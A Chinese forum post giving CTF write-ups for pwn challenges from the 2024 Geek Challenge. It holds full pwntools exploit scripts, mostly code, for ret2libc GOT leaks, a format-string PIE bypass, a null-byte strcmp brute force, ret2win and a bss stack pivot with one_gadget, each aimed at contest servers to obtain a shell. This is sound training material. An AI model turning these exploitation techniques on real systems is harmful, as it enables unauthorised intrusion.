2024第十五届极客大挑战 Pwn部分题解
1865825348041816 发表于 江西 CTF 308浏览 · 2024-11-18 13:08

2024第十五届极客大挑战 Pwn部分题解

Pwn

ez_shellcode

64位有NX

设了一段内存空间,但是权限是3,可读可写但是不能执行,后门的memset将这段空间的500个字节设为144,也就是NOP空指令,shellcode是bss段的,而后又向shellcode读入400字节。

试了好久都不能ret2shellcode,最后ret2libc写掉了:

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level = "debug")
io = remote("nc1.ctfplus.cn",21074)

elf = ELF("./shellcode")

offset = 0x18 + 0x8
main = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

io.sendlineafter("do you know shellcode?",b'AAAA')

pop_rdi_ret = 0x401463
ret = 0x40101a

payload1 = offset * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil(b"please input your name:")
io.sendline(payload1)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts:",hex(puts))

libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")

payload2 = offset * b'a' + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)

io.sendlineafter("do you know shellcode?",b'AAAA')
io.recvuntil(b"please input your name:\n")
io.sendline(payload2)

io.interactive()

买黑吗喽了吗

保护:

64位有pie

先是一个菜单:

shop:

view:

view里面有让人注意的点,如果balance也就是我们的钱大于0x100,会读入str1,后门有一个str1和str2的比较,会有两个不同的打印结果,如果比较通过,可以输出balance的地址,再看看多的信息能不能让balance大于0x100。

write:

3这里有栈溢出。

现在的困难就是怎么绕过pie,先看看balance开始是多少:

刚开始有0x100,shop里面的逻辑:

商品1有8件,每件0x20,商品2有7件,每件0x10,再回过头看买的逻辑,是没有对balance进行验证是否大于0的,没钱了还是能继续买这样的话就可以把balance花到负数就可以绕过大于0x100的检验了。

再看view:

FLAG是1,那就可以向str1写入2字节的数据,注意看后面有一个printf,有格式化字符串漏洞,绕过输入%p的话就可以打印出balance的地址,再用泄露出来的地址减去balance的偏移量也就是0x4090,就可以得到pie_base,成功绕过pie保护,后面再ret2libc即可。

exp:

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level = "debug")
#io = remote("nc1.ctfplus.cn",21074)
#io = process("./syscall")
io = remote("nc1.ctfplus.cn",12665)
elf = ELF("./syscall")

io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))

io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))

io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))

io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))

io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))

io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))

io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))

io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(1))

io.sendlineafter(b"-+]\nyour choice:",str(1))
io.sendlineafter(b"your choice:",str(2))

io.sendlineafter(b"-+]\nyour choice:",str(2))
io.send(b'%p')

io.recvuntil(b"0x")

balance_addr = int(io.recv(14),16)
print("balance_addr: ",hex(balance_addr))

pie_base = balance_addr - 0x4090
pop_rdi_ret = pie_base + 0x11f1
ret = pie_base + 0x101a
main = pie_base + 0x14F9
puts_got = pie_base + elf.got["puts"]
puts_plt = pie_base + elf.plt["puts"]
offset = 0x50 + 8

payload1 = offset * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b"-+]\nyour choice:",str(3))
io.recvuntil(b"Tell me your feedback:")
io.sendline(payload1)
io.recvuntil(b"Thanks for your feedback!We`ll do it better!\n")

puts = u64(io.recv(6).ljust(8,b'\x00'))
print("puts: ",hex(puts))

libc = ELF("./libc.so.6")
#libc = LibcSearcher("puts",puts)
libc_base = puts - libc.sym["puts"]
system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))


payload2 = offset * b'a' + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)

io.sendlineafter(b"-+]\nyour choice:",str(3))
io.recvuntil(b"Tell me your feedback:")
io.sendline(payload2)
io.recvline()
io.interactive()

flag:

简单的签到题

一个简单的算术题

注意接收和发送就好了,用send

exp:

from pwn import *

context(arch='amd64', os='linux', log_level="debug")
# io = process("./main")
io = remote("nc1.ctfplus.cn", 37433)

io.sendafter(b"to start our challenge.", b'\n')

v1 = int(io.recvuntil(b' * ', drop=True))
print(f"第一个数字: '{v1}'")

v2 = int(io.recvuntil(b' =', drop=True))
print(f"第二个数字: '{v2}'")

answer = v1 * v2
print(answer)

io.sendline((str(answer)))
io.interactive()

000000

一个检测password的

生成password:

取的随机字符,漏洞点在于strcmp,当有\x00的时候不管后面是什么,会绕过比较,所以随机的话一直循环是有概率生成password以、x00开头,一直循环试就可以成功绕过

exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# 函数用于创建新连接
def create_connection():
    return remote("nc1.ctfplus.cn", 29438)  # 替换为你的程序名
    # return process("./pwn")

while True:
    io = create_connection()  # 每次循环创建新的连接
    buf = b'\x00aaa'  # 发送的密码

    io.recvuntil(b"Enter the password: ")
    io.sendline(buf)

    # 接收输出
    try:
        response = io.recvuntil(b'please keep it safe.', timeout=0.3) 
        print("Received:", response.decode().strip())

        if b'Now you have the secret document, please keep it safe.' in response:
            print("Success!!!")
            io.interactive()  # 进入交互模式
            break  # 成功后退出循环

        # 检查密码是否错误
        if b'The password is wrong and you cannot access the secret files.' in response:
            print("Password incorrect, retrying...")
            io.close()  # 关闭当前连接
            continue  # 重新开始循环以创建新的连接

    except EOFError:
        print("Connection closed by remote host, reconnecting...")
        io.close()  # 关闭当前连接
        continue  # 重新开始循环以创建新的连接
    except KeyboardInterrupt:
        print("Interrupted by user.")
        io.close()  # 确保连接被关闭
        break

# 关闭连接
io.close()

成功:

你会栈溢出吗

最简单的栈溢出

有后门:

exp:

from pwn import *

#io = process("./gets")
io = remote("nc1.ctfplus.cn",24768)

io.recvline()
backdoor = 0x40073D
payload = b'A'*(0xC+8) + p64(backdoor)
io.sendline(payload)
io.recvline()
io.interactive()

这里的空间有点小啊

保护:

64位没啥保护

看程序:

经典的栈迁移到bss,能溢出0x10也就是2个字节,刚好到ret_addr

按照栈迁移的思路打就好了

exp:

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

#p = process("./pwn")
p = remote("nc1.ctfplus.cn",32012)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")

bss = 0x601149
vuln = 0x400708
read = 0x40071C
leave = 0x400738
ret = 0x400739
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi = 0x400853
pop_rbp = 0x400628

p.recvuntil("[1] Write something\n[2] Give you a flag\n>>")
p.sendline(str(1))

payload0 = b'a'*(0x30) + p64(bss+0x30) + p64(read)


p.send(payload0)

payload =  p64(pop_rdi) + p64(puts_got) + p64(puts_plt) 
payload += p64(pop_rbp) + p64(bss+0x500) +p64(read)
payload = payload.ljust(0x30,b"\x00") + p64(bss-0x8) + p64(leave)#栈迁移,先覆盖返回地址为bss,再接leave_ret

p.send(payload)

p.recvuntil(b"Now you can write something")
p.recvuntil(b"\n",drop=True)
data = p.recv(6).ljust(8,b'\x00')#################################接收puts_got
print("接收到的原始数据:", data)
puts_addr = u64(data)  
print(hex(puts_addr))

libc=ELF('./libc.so.6')
libc_base = puts_addr -libc.sym['puts']
system_addr = libc_base +libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(libc_base))

one = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]

one_gadget = libc_base + one[2]# #p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system_addr)

payload = p64(one_gadget)
payload = payload.ljust(0x30,b'\x00')
payload += p64(bss+0x500-0x38) + p64(leave)

p.send(payload)

p.interactive()

有个奇怪的点,最后getshell用自己建的system("/bin/sh")一直打不通,最后还是用的one_gadget才成功的。

one_gadget:

最后用的第二个成功了。

flag:

su~~~~

64位没什么保护

基础的栈溢出,有csu,ret2csu、ret2libc都能打,我直接ret2libc了

exp:

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level = "debug")
io = remote("nc1.ctfplus.cn",44220)
elf = ELF("./csu")

offset = 0x80 + 0x8
main = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']


pop_rdi_ret = 0x400903
ret = 0x4005d6

io.sendlineafter("exit.",str(1))

payload1 = offset * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts:",hex(puts_addr))

libc=ELF('./libc.so.6')
libc_base = puts_addr -libc.sym['puts']
system_addr = libc_base +libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload2 = offset * b'a' + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

io.sendlineafter("exit.",str(1))
io.sendline(payload2)

io.interactive()

1 条评论
某人
表情
可输入 255